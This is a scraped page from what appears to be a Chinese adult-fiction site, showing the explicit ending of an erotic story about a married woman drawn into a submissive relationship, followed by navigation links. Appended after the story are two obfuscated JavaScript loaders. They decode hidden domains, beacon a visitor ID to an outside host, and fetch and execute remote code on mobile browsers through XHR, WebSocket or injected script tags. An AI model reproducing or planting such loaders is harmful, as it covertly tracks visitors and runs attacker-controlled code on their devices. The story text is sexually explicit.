“鱼与熊掌不可兼得,这是以前的观念,而以前的观念,也早有许多早就被打破,你说,在台湾还有多少人会在乎婚前性行为的?这在以前,早就该被抓起来浸猪笼了吧?你是个m,你有做为一个m的需求与期待,这点你摆脱不了,你也是个人妻,这更是你无法造假的身份,同时拥有老公跟主人,也许,也可能是你唯一的出路。”

“嗯!”慧吟沉思着。

“这是一个现实而且残酷的社会,你可以选择回去当你的好老婆,忘记你女奴这个身份,但你作的到吗?你作不到,因此才会有r先生。但你会因为奴性的控制,而抛弃你的婚姻、抛弃你的老公吗?你也不能,要不然你也早就跟r在一起,而不是躲他两个月。”

“……”

“你不可能同时抛弃,你也无法二选一,你只剩下全部都接受这个选择。既然如此,就在你老公面前当个好老婆,在r面前当个好女奴,快乐的同时享受。”

“但我不想背叛我老公。”慧吟看似坚定的说着。

“你说这句话的时候,你心虚。”男人直接戳破慧吟。

“……”

“不管怎样,先从恢复跟你老公的关系开始吧!觉得陌生也无所谓,重新适应,你以前又不是没跟陌生人做过爱。”

“似乎真的应该这样。”

“处理完你老公,要不要跟r在一起,认r当你的新主人,这是你自己的决定,无论如何,自己想清楚,作了决定,就不要后悔。”

“嗯!”

一小时的午餐约会,就这样过去,男人走之前在慧吟的额头上轻轻一吻,这是最后的告别,也可能是永远结束的开始。

下班回家,慧吟好好的打扮了一下自己,仿佛像是自己当年在玩一夜情一样,要呈献自己最有魅力的一面,重新面对自己的老公。她开车去接加班还在公司的志伟,然后将车开到汽车旅馆,就像偷情一样,跟志伟摸上旅馆的房间,重新探索彼此的身体。

也许是太久没做了,志伟第一次插入时,慧吟甚至还有点小痛,但慢慢的,疼痛变成了愉悦,那种原本害怕的陌生感,似乎也已经不再那么陌生。憋了两个月的志伟,当然不会只想要这么一次,当志伟第二次插入慧吟体内时,慧吟已经找回原本的熟悉,她跟志伟之间,拥有的并不只是性交,而是一种爱。

拥有对方的爱,以肉体的占领做为宣示。

慧吟的msn也重新上线了,r传来过几次离线讯息,但次数并不算太多,这倒也符合r那种不黏人的玩家手腕。

重新思考了一次男人的话,也重新思考了一次自己的欲望跟定位,或许奴的身份是一生的宿命,但如果要同时拥有人妻跟女奴的身份,却也是个难度很大的挑战。毕竟慧吟不是婚前的自己,想怎样就能怎样。

“也许r早就另外找到他自己的奴了吧?!”慧吟这样想着。

理性的思考,似乎正要战胜隐藏的欲望,原本显示不在线上的r,却又像是鬼魅般的丢来了一个笑脸的讯号。

“慧吟会淫会吟……”r毫不隐藏的,直接丢出这六个字,而这六个字,就像慧吟的生死符咒语,一念出来,慧吟又忍不住湿了一片。

“好久没看到你了,被老公抓去浸猪笼了吗?还是被别的主人收走了?”

“被收走是还没有,猪笼嘛?看情况啰!”慧吟回答道。

“把人妻放进自己的口袋里当玩偶,就是这一点最有趣了!那天离开你之后,肉棒好硬,我赶不及回家,就在高速公路休息站的洗手间,自己先打手枪解决一次。”r说着。

“那为什么不喂给我?”想到这点,慧吟还是忍不住抱怨了一下。

“因为,你不是我的奴呀!这两个月,你应该有想过这个问题吧?”

“什么问题?”

“你准备好,要当我的奴了吗?如果你拒绝,那我们也应该会是最后一次联络了。”

“……”慧吟沉默了许久,再次欲望与理性交战。

“areyoureadytobemine?”

一阵沉默,慧吟终于还是在键盘上,打出了她最后的答案。

【完】


上一篇:人妻系列夫妻劫 危险的家庭主妇

下一篇:DVD 惊魂


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};